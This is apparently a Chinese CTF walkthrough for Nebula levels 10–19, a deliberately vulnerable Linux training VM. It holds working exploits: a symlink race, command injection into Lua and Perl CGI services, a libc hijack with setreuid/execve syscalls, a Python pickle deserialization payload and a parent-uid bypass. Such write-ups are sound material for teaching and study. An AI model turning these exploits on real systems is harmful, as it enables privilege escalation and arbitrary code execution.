通过 Nebula CTF 理解基础 Linux 渗透(Level 10-19)


背景

Nebula (https://exploit-exercises.lains.space/nebula/) 提供了一系列常见或不常见的 Linux 系统漏洞利用,包含如下内容:

  • SUID 文件
  • 权限控制
  • 竞争条件
  • Shell 元变量
  • $PATH 漏洞
  • 脚本语言漏洞
  • 二进制文件漏洞
  • Web 漏洞

通过一整套 Nebula 训练,用户将会对基础的 Linux 系统攻击有一定的认识。

规则

通过各种形式的漏洞利用获取 Root Shell,即为通过。题面及靶机见官网。

Level 10

观察到检查权限与获取权限代码之间有距离,可以尝试来回变换链接文件来获取 token 内容:

python 监听 18888 端口

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 18888))
s.listen(1)
while 1:
    conn, addr = s.accept()
    datas = ""
    while 1:
        data = conn.recv(1024).decode('ascii')
        datas += data
        if not data:
            break
    if datas.find('fake') == -1:
        print(datas)
        exit()
    conn.close()

客户端循环切换目标文件连接目的地,一个有权限一个是没权限的 token

$ echo fake>/tmp/fake
$ while true; do ln -sf /tmp/fake /tmp/token; ln -sf /home/flag10/token /tmp/token; done
$ while true; do /home/flag10/flag10 /tmp/token 192.168.89.69; done

Level 11

观察到如下代码:

if(fread(buf, length, 1, stdin) != length) {
    ...
}

fread 在成功时返回的是 1,此处不应该这么写。

length 大于 1024 进入 else

#!/bin/sh
# file name: b
getflag11

则我们需要执行的命令为 b(当下放一个文件叫b),对其进行编码放入 cmd 文件

$ cat cmd | xxd
00000000: 436f 6e74 656e 742d 4c65 6e67 7468 3a20  Content-Length:
00000010: 3130 3234 0a62 9e61 6161 6161 6161 6161  1024.b.aaaaaaaaa
00000020: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
...

其中 0x62b,异或相减后 key 为 0xffffff9e,故后面的 0x9e 会被异或为 0x00 终止符,令 b 可以执行。

$ cat cmd | TEMP=/tmp PATH=.:/bin/ /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
Congratulation! The flag is exec-vuln

Level 12

观察到哈希函数将输入密码传入命令行:

function hash(password)
    prog = io.popen("echo "..password.." | sha1sum", "r")
    data = prog:read("*all")
    prog:close()

    data = string.sub(data, 1, 40)

    return data
end

利用 && 构造载荷:hello && getflag12>/tmp/level12 && echo 123

$ telnet 127.0.0.1 50000
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Password: hello && getflag12>/tmp/level12 && echo 123
$ cat /tmp/level12
Congratulation! The flag is attack-lua

Level 13

  • 方法 1
$ ll
...
-rwsr-x---  1 flag13 level13 7321 May 29  2017 flag13*
...

我们有 flag13 的读取权限,将其拷贝到自己目录下赋予写权限。编辑二进制文件,查找可以发现在 0x4F50x509 有两个 1000(E8 03),对应的恰好是原本的目标 uid。修改目标 uid 1000 为 level13 的 1014(F6 03)。再次执行。

$ ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
$ su level13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
$ getflag13
Congratulation! The flag is steal-token-again
  • 方法 2

在其他机器上用 uid=1000 的用户执行文件即可。

$ useradd -u 1000 temp
$ su temp
$ ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

Level 14

$ echo -n aaaaaaaaaaaaa | ./flag14 -e
abcdefghijklm

发现加密规律为逐位+1

s = open("token", "r").read()
t = ""
for i in range(0, len(s)-1):
    t += chr(ord(s[i])-i)
print(t)

解密即可

Level 15

观察其链接库:

$ strace ./flag15
...
open("/var/tmp/flag15/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", 0xbffff050)   = -1 ENOENT (No such file or directory)
...

其试图链接 /var/tmp/flag15/ 下的 libc(有写权限)。但没有找到,最终使用了系统默认的libc;于是可以自己编译一个替代前者进行劫持。

查找系统调用号:

名称 编号
setreuid32 203
execve 11

且 flag15 的 uid 为 984

libc 程序必执行 __libc_start_main(),在其中注入攻击代码:

// fine name: exec.c
int __libc_start_main(int (*main)(int, char**, char**),
                      int argc,
                      char** ubp_av,
                      void (*init)(void),
                      void (*fini)(void),
                      void (*rtld_fini)(void),
                      void(*stack_end)) {
    long ret;
    asm volatile("int $0x80" : "=a"(ret) : "a"(203), "b"(984), "c"(984));
    asm volatile("int $0x80"
                : "=a"(ret)
                : "a"(11), "b"("/bin/getflag15"), "c"(0), "d"(0));
    return 0;
}

并设置好编译库函数的版本文件 v

# fine name: v
GLIBC_2.0 {};

进行编译,运行程序:

$ gcc -shared -nostdlib -nostdinc -Wl,--version-script=v exec.c -o libc.so.6
$ /home/flag15/flag15
Congratulation! The flag is dll-hijack

Level 16

注意到如下代码,可通过注入参数 username 执行任意代码:

sub login {
    $username = $_[0];
    $username =~ tr/a-z/A-Z/;   # conver to uppercase
    $username =~ s/\s.*//;      # strip everything after a space
    @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
    ...
}

但注意到了其被转换为了大写,但我们没有 / 目录写权限,故只得通过目录通配进行注入: /*/SH

#!/bin/bash
# file path: /tmp/SH
getflag16>/tmp/flag16

访问后获得 flag:

$ curl http://192.168.89.50:1818/index.cgi?username=`/*/SH`
$ cat /tmp/flag16
Congratulation! The flag is perl-cgi-vuln

Level 17

注意到包含如下代码:

obj = pickle.loads(line)

python 的 pickle 有漏洞,可通过重写 __reduce__ 执行任意代码:

# file name: a.py
import os
import pickle
import socket
class Payload(object):
    def __reduce__(self):
        return (os.system, (('/bin/getflag17>/tmp/flag17'),))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect(("127.0.0.1", 10008))
s.send(pickle.dumps(Payload()))

执行,获得 flag

Level 18

notsupport 里的 dprintf 没有换行符,10 个 v 令 0 去覆盖 1 后面的换行符,然后在 1 号里面再写入 site exec 覆盖 10 后面的换行符,再开一个终端即可登录。

[1]$ ./flag18 -d password -v
[2]$ ./flag18 -d password -vvvvvvvvvv
[1]site exec aaaaa
[3]$ ./flag18
login Starting up. Verbose level = 10aaaaa
shell
flag18@njucs-ctf01:/home/flag18$ getflag18
Congratulation! The flag is level18-vuln

Level 19

程序获取父进程 uid 后判断是否有权限,我们用 bash 运行程序时父进程为 bash,用户 uid 不满足要求。

但父进程退出后子进程 getppid 为 systemd(1),是 root 用户的进程,可满足:

// file name: a.c
#include <unistd.h>
#include <stdio.h>
int main(int argc, char** argv, char** envp) {
    int p = fork();
    if (p == 0) {
        sleep(1);
        setresuid(geteuid(),geteuid(),geteuid());
        printf("parent: %d\n", getppid());
        char *args[] = {"/bin/sh", "-c", "getflag19>/tmp/flag19", NULL};
        execve("/home/flag19/flag19", args, envp);
    }
    return 0;
}

执行,获得 flag:

$ gcc a.c
$ ./a.out
parent: 1
$ cat /tmp/flag19
Congratulation! The flag is break-process